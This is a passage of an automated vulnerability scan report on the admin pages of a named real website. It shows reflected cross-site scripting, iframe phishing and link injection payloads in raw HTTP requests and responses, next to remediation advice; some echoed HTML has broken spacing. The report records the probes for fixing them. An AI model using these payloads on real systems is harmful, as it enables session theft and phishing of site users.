### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ExternMapFailures.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:11 GMT
Connection: close
Content-Length: 3763

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448108 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/ExternMapFailures.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/ExternMapFailures.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:29 GMT
Connection: close
Content-Length: 3763

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448032 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 38

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(758)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/GeneralReports.py? Session=None'/><script>alert(758)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:51:31 GMT
Connection: close
Content-Length: 5007

...
' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(758) </script>'>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session=None'/><script>alert(758)</script>'>Ad-Hoc
Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session=None'/><script>alert(758)</script>'>Ad-Hoc
SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session=
...
...
' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(758) </script>'>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session=None'/><script>alert(758)</script>'>Ad-Hoc
```

```
Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session=None'/><script>alert(758)</script>'>Ad-Hoc
SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session=
...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448088 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D754+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GeneralReports.py? Session=None%27%22%3E%3Ciframe+id%3D754+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:51:30 GMT
Connection: close
Content-Length: 5751

...
'Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=754 src= http://demo.testfire.net/phishing.html > >'>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session=None'"> <iframe id=754 src =http://demo.testfire.net/phishing.htm l> >'>Ad-Hoc Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session=None'"> <iframe id=754 sr c=http://demo.testfire.net/phishing.ht ml> >'>Ad-Hoc SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session=None'"> <iframe id=754 s rc=http://demo.testfire.net/phishing.h tml> >'>Checked Out Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CdrReport.py?Session=None'"> <iframe id=754 src=http://demo.testfire.net/phishing. html> >'>Checked Out Documents With No Activity</A></LI>
<LI><A HREF='/cgi-bin/cdr/ContentInventory.py?Session=None'"> <iframe id=754 src=http://demo.testfire.net/phishing .html> >'>Content Inventory Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActiveLogins.py?Session=None'"> <iframe id=75 4 src=http://demo.testfire.net/phishin g.html> >'>Current Sessions</A></LI>
<LI><A HREF='/cgi-bin/cdr/db-tables.py?Session=None'"> <iframe id=7 54 src=http://demo.testfire.net/phishi ng.html> >'>Database Tables/Columns</A></LI>
<LI><A HREF='/cgi-bin/cdr/DateLastModified.py?Session=None'"> <iframe id= 754 src=http://demo.testfire.net/phish ing.html> >'>Date Last Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/DatedActions.py?Session=None'"> <iframe id =754 src=http://demo.testfire.net/phis hing.html> >'>Dated Actions</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActivityReport.py?Session=None'"> <iframe i d=754 src=http://demo.testfire.net/phi shing.html> >'>Document Activity Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocVersionHistory.py?Session=None'"> <iframe id=754 src=http://demo.testfire.net/ph ishing.html> >'>Document Version History</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocumentsModified.py?Session=None'"> <iframe id=754 src=http://demo.testfire.net/p hishing.html> >'>Documents Modified</A></LI>
```

```
<LI><A HREF='/cgi-bin/cdr/ExternMapFailures.py?Session=None'"> <ifram e id=754
src=http://demo.testfire.net/ phishing.html> >'>External Map Failures Report</A></LI>
<LI><A HREF='/cdrFilter.html'>Filter Document</A></LI>
<LI><A HREF='/cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session=None'"> <ifra me id=754
src=http://demo.testfire.net /phishing.html> >'>Global Change Test Results</A></LI>
<LI><A HREF='/cgi-bin/cdr/InvalidDocs.py?Session=None'"> <ifr ame id=754
src=http://demo.testfire.ne t/phishing.html> >'>Invalid Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/LinkedDocs.py?Session=None'"> <if rame id=754 src=http://demo.testfire.n
et/phishing.html> >'>Linked Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaLinks.py?Session=None'"> <i frame id=754 src=http://demo.testfire.
net/phishing.html> >'>Linked Media Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocsWithPubStatus.py?Session=None'"> < iframe id=754
src=http://demo.testfire .net/phishing.html> >'>List of New Documents with Publication
Status</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocReport.py?Session=None'"> <iframe id=754 src=http://demo.testfir
e.net/phishing.html> >'>New Document Count</A></LI>
<LI><A HREF='/cgi-bin/cdr/ModWithoutPubVersion.py?Session=None'">VAL INFO START 5662  <iframe
id=754 src=http://demo.testfi re.net/phishing.html> >'>Records Modified Since Last Publishable
Version</A></LI>
<LI><A HREF='/cgi-bin/cdr/UnchangedDocs.py?Session=None'">VAL INFO START 584 2_<iframe id=754
src=http://demo.testf ire.net/phishing.html> >'>Unchanged Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckUrls.py?Session=None'">VAL INFO START 59 90 <iframe id=754
src=http://demo.test fire.net/phishing.html> >'>URL Check (Batch job - runs ~15 min)</A></LI>
<LI><A HREF='/cgi-bin/cdr/ReplaceCWDReport.py?Session=None'">VAL INFO START 6 162 <iframe id=754
src=http://demo.tes tfire.net/phishing.html> >'>Versions that Replaced CWDs</A></LI>
</OL>
</FORM>
</BODY>
</HTML>
...
'Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=754 src= http://demo.testfire.net/ph
ishing.html > >'>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session=None'"> <iframe id=754 src =http://demo.testfire.n
et/phishing.htm l> >'>Ad-Hoc Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session=None'"> <iframe id=754 sr c=http://demo.testfire.n
et/phishing.ht ml> >'>Ad-Hoc SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session=None'"> <iframe id=754 s rc=http://demo.testfi
re.net/phishing.h tml> >'>Checked Out Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CdrReport.py?Session=None'"> <iframe id=754 src=http://demo.testfire.net
/phishing. html> >'>Checked Out Documents With No Activity</A></LI>
<LI><A HREF='/cgi-bin/cdr/ContentInventory.py?Session=None'"> <iframe id=754 src=http://demo.testf
ire.net/phishing .html> >'>Content Inventory Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActiveLogins.py?Session=None'"> <iframe id=75 4
src=http://demo.testfire.net/phishin g.html> >'>Current Sessions</A></LI>
<LI><A HREF='/cgi-bin/cdr/db-tables.py?Session=None'"> <iframe id=7 54
src=http://demo.testfire.net/phishi ng.html> >'>Database Tables/Columns</A></LI>
<LI><A HREF='/cgi-bin/cdr/DateLastModified.py?Session=None'"> <iframe id= 754
src=http://demo.testfire.net/phish ing.html> >'>Date Last Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/DatedActions.py?Session=None'"> <iframe id =754
src=http://demo.testfire.net/phis hing.html> >'>Dated Actions</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActivityReport.py?Session=None'"> <iframe i d=754
src=http://demo.testfire.net/phi shing.html> >'>Document Activity Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocVersionHistory.py?Session=None'"> <iframe id=754
src=http://demo.testfire.net/ph ishing.html> >'>Document Version History</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocumentsModified.py?Session=None'"> <iframe id=754
src=http://demo.testfire.net/p hishing.html> >'>Documents Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/ExternMapFailures.py?Session=None'"> <iframe id=754
src=http://demo.testfire.net/ phishing.html> >'>External Map Failures Report</A></LI>
<LI><A HREF='/cdrFilter.html'>Filter Document</A></LI>
<LI><A HREF='/cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session=None'"> <ifra me id=754
src=http://demo.testfire.net /phishing.html> >'>Global Change Test Results</A></LI>
<LI><A HREF='/cgi-bin/cdr/InvalidDocs.py?Session=None'"> <ifr ame id=754
src=http://demo.testfire.ne t/phishing.html> >'>Invalid Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/LinkedDocs.py?Session=None'"> <if rame id=754 src=http://demo.testfire.n
et/phishing.html> >'>Linked Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaLinks.py?Session=None'"> <i frame id=754 src=http://demo.testfire.
net/phishing.html> >'>Linked Media Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocsWithPubStatus.py?Session=None'"> < iframe id=754
src=http://demo.testfire .net/phishing.html> >'>List of New Documents with Publication
Status</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocReport.py?Session=None'"> <iframe id=754 src=http://demo.testfir
e.net/phishing.html> >'>New Document Count</A></LI>
```

```
<LI><A HREF='/cgi-bin/cdr/ModWithoutPubVersion.py?Session=None'">VAL INFO START 5662 <iframe
id=754 src=http://demo.testfi re.net/phishing.html> >'>Records Modified Since Last Publishable
Version</A></LI>
<LI><A HREF='/cgi-bin/cdr/UnchangedDocs.py?Session=None'">VAL INFO START 584 2_<iframe id=754
src=http://demo.testf ire.net/phishing.html> >'>Unchanged Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckUrls.py?Session=None'">VAL INFO START 59 90 <iframe id=754
src=http://demo.test fire.net/phishing.html> >'>URL Check (Batch job - runs ~15 min)</A></LI>
<LI><A HREF='/cgi-bin/cdr/ReplaceCWDReport.py?Session=None'">VAL INFO START 6 162 <iframe id=754
src=http://demo.tes tfire.net/phishing.html> >'>Versions that Replaced CWDs</A></LI>
</OL>
</FORM>
</BODY>
</HTML>
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448161 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF755.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GeneralReports.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF755.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:51:30 GMT
Connection: close
Content-Length: 4935

...
AME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE=''"> <IMG SRC="/WF_XSRF755.html"> '>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Ad-Hoc
Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Ad-Hoc
SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Checked Out
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CdrReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Checked Out
Documents With No Activity</A></LI>
<LI><A HREF='/cgi-bin/cdr/ContentInventory.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Content
Inventory Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActiveLogins.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Current
Sessions</A></LI>
<LI><A HREF='/cgi-bin/cdr/db-tables.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Database
Tables/Columns</A></LI>
<LI><A HREF='/cgi-bin/cdr/DateLastModified.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Date Last
Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/DatedActions.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Dated
Actions</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActivityReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Document
Activity Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocVersionHistory.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Document
Version History</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocumentsModified.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Documents Modified</A></LI>
```

```
<LI><A HREF='/cgi-bin/cdr/ExternMapFailures.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>External
Map Failures Report</A></LI>
<LI><A HREF='/cdrFilter.html'>Filter Document</A></LI>
<LI><A HREF='/cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Global Change Test Results</A></LI>
<LI><A HREF='/cgi-bin/cdr/InvalidDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Invalid
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/LinkedDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Linked
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaLinks.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Linked Media
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocsWithPubStatus.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>List
of New Documents with Publication Status</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>New Document
Count</A></LI>
<LI><A HREF='/cgi-bin/cdr/ModWithoutPubVersion.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Records Modified Since Last Publishable Version</A></LI>
<LI><A HREF='/cgi-bin/cdr/UnchangedDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Unchanged
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckUrls.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>URL Check (Batch
job - runs ~15 min)</A></LI>
<LI><A HREF='/cgi-bin/cdr/ReplaceCWDReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Versions
that Replaced CWDs</A></LI>
</OL>
</FORM>
</BODY>
</HTML>
...
AME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> General Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF755.html"> '>
<OL>
<LI><A HREF='/cgi-bin/cdr/CdrQueries.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Ad-Hoc
Reports</A></LI>
<LI><A HREF='/cgi-bin/cdr/AdHocQuery.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Ad-Hoc
SQL</A></LI>
<LI><A HREF='/cgi-bin/cdr/CheckedOutDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Checked Out
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/CdrReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Checked Out
Documents With No Activity</A></LI>
<LI><A HREF='/cgi-bin/cdr/ContentInventory.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Content
Inventory Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActiveLogins.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Current
Sessions</A></LI>
<LI><A HREF='/cgi-bin/cdr/db-tables.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Database
Tables/Columns</A></LI>
<LI><A HREF='/cgi-bin/cdr/DateLastModified.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Date Last
Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/DatedActions.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Dated
Actions</A></LI>
<LI><A HREF='/cgi-bin/cdr/ActivityReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Document
Activity Report</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocVersionHistory.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Document
Version History</A></LI>
<LI><A HREF='/cgi-bin/cdr/DocumentsModified.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Documents Modified</A></LI>
<LI><A HREF='/cgi-bin/cdr/ExternMapFailures.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>External
Map Failures Report</A></LI>
<LI><A HREF='/cdrFilter.html'>Filter Document</A></LI>
<LI><A HREF='/cgi-bin/cdr/ShowGlobalChangeTestResults.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Global Change Test Results</A></LI>
<LI><A HREF='/cgi-bin/cdr/InvalidDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Invalid
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/LinkedDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Linked
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaLinks.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Linked Media
Documents</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocsWithPubStatus.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>List
of New Documents with Publication Status</A></LI>
<LI><A HREF='/cgi-bin/cdr/NewDocReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>New Document
Count</A></LI>
<LI><A HREF='/cgi-bin/cdr/ModWithoutPubVersion.py?Session="'> <IMG SRC="/WF_XSRF755.html">
'>Records Modified Since Last Publishable Version</A></LI>
<LI><A HREF='/cgi-bin/cdr/UnchangedDocs.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Unchanged
Documents</A></LI>
```

```
        <LI><A HREF='/cgi-bin/cdr/CheckUrls.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>URL Check (Batch
        job - runs ~15 min)</A></LI>
        <LI><A HREF='/cgi-bin/cdr/ReplaceCWDReport.py?Session="'> <IMG SRC="/WF_XSRF755.html"> '>Versions
        that Replaced CWDs</A></LI>
        </OL>
        </FORM>
        </BODY>
        </HTML>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448191 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GeneralReports.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/GeneralReports.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:03 GMT
Connection: close
Content-Length: 4287

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448281 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GeneralReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:48 GMT
Connection: close
Content-Length: 4287

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448227 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1490)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryProcessingStatusReport.py? Session=None'/><script>alert(1490)</script>
